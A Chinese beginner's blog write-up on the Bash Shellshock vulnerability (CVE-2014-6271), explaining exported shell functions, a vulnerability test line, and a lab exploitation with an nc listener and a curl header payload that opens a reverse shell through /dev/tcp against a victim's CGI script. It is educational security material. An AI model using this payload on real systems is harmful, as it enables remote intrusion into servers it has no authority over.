linux 破壳漏洞,Bash破壳漏洞

“破壳”是一个严重漏洞的别名,在Red Hat、CentOS、Ubuntu、Fedora、Amazon Linux、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。

漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等

那么什么是bash呢?

bash(Bourne-Again SHell)是一个为GNU计划编写的Unix shell。bash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

来总结下我学习到的知识。

一.bash shell变量:

echo命令:

echo"shellshock"

定义个变量然后再echo:

wt7315="shellshock"

echo $wt7315

结果如下:

be13d1c974e0e74eafcc4edaaa54f825.png

我们现在可以试试开一个bash子进程来看一下我们能不能得到变量的值:

wt7315="shellshock"

echo $wt7315

shellshock

bash

echo $wt7315

8fed616f33edbd467a7f06ba68bb235a.png

没有回显,我们不能够读出变量的值是因为我们开启了一个bash子进程,但变量中的值,仍存在父进程中。

bash环境变量:

当你开启一个shell会话时,一些变量已经准备好可供使用了,这些变量成为环境变量

当我们想在子进程中访问$gaba变量的话,我们可以使用export命令将变量变成环境变量。

8ba8550ce2c4d0edd76e5f7f1bdcad6e.png

如上图所示,子进程可以访问环境变量。

env | grep 'gaba'

5acd38c308909786e7fcafeb1cf4c763.png

二.bash函数与环境变量

750f3e7d66b61dbe25cef50ded55fb77.png

建立一个名为x的函数,并将函数x存放在环境变量中,正如我预期的那样,在子shell中仍可执行名为x的函数。

在看了很多原理之后,bash漏洞形成的原理可算理解了,简单的就是说:BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!(书读百遍其义自见,原理我读了一百遍)

三.相关指令

顺便来了解下两个指令:

ENV指令:

ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了***进行PATH Hajaking的可能性

ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

具体的env命令,可查看env的man手册和帮助。

78b8ba507d156b88670682bc72ac868d.png

ff176c4aeabc468bde4c115299c8873e.png

这是我们的测试语句:

env x='() { :;}; echo shellshocked' bash -c "echo test"

d00db8d5d3408ae1ac486cd18c67df1f.png

如果出现 `vulnerable` 和`this a test`则说明系统存在bash漏洞。

bash -c 就是用来执行string-commands(命令字符串),不管后面的字符串里是什么都会被当做shellcode来执行。bash -c "echo this is a test"在执行的时候存在一个环境变量x,而x呢等于 () { :;}; echo vulnerable ,而环境变量在使用前都会被初始化,那么  () { :;}; echo vulnerable 就自然而然的被执行了。 () { :;}; 定义了一个函数(function)并且它什么也不做,而后的 echo vulnerable 被解析后得到了执行权。当特殊的字符串变成环境变量后,环境变量又解析成函数,新的Bash进程在启动后又解析了环境变量并可以执行命令。

curl:

是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

他的参数很多,这里简单的举几个例子。

-G/--get 以get的方式来发送数据

-H/--header < line >自定义头信息传递给服务器

-i/--include 输出时包括protocol头信息

-K/--config  指定的配置文件读取

nc:

NetCat,它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

nc [选项] 主机名称  通信端口

常用参数说明:

-l 使用监听模式,管控传入的资料。

-p 设置本地主机使用的通信端口。

v 显示指令执行过程。

-w 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

经过上面的测试,说明此debian存在bash漏洞,我使用了kai来利用此漏洞。

nc -lv -p 5555

ff822bd67719d7f137241c77f8d6b445.png

另外在开个终端,输入curl–H 'x: () { :;}; /bin/bash–i >& /dev/tcp/***ip/5555 0>&1' http://受害ip/sgi-bin/status,(需要注意的是() { :;}之间有空格)对于sgi-bin/status,可以先使用扫描工具,扫出存在破壳漏洞并且在cgi-bin目录下有一个可执行脚本,可以看到我们利用破壳漏洞得到了反向shell进入受害机。

webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源

服务器提供了CGI脚本,当CGI script被webserver执行的时候,CGI Script会去调用Bash

***者可以通过开启了CGI的httpd服务器进行远程代码执行

66d8d8e6a725b7bd57f4d9fc4c8a5be9.png

3574f4f37ea682e7f9596998c8b06fc6.png

然后我们就可以为所欲为的做你想做的事情了,我查看了当前所有的用户信息。

e0c5e4c5fc3ac813ca3013e142b7c8f7.png

虽然利用了bash漏洞得到了权限,但是bash漏洞利用还是有条件的:

被***的bash存在漏洞

***者可以控制环境变量

新的bash进程被打开触发漏洞并执行命令

漏洞危害:

可以直接在Bash支持的Web CGI环境下远程执行任何命令。这也就使得一些路由器、堡垒机、×××等网络设备将会成为重灾区,另外各大Linux发行版和Mac OS X系统都受影响,甚至Android也会受到影响。

新手,多多包涵,欢迎各位一起交流学习!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值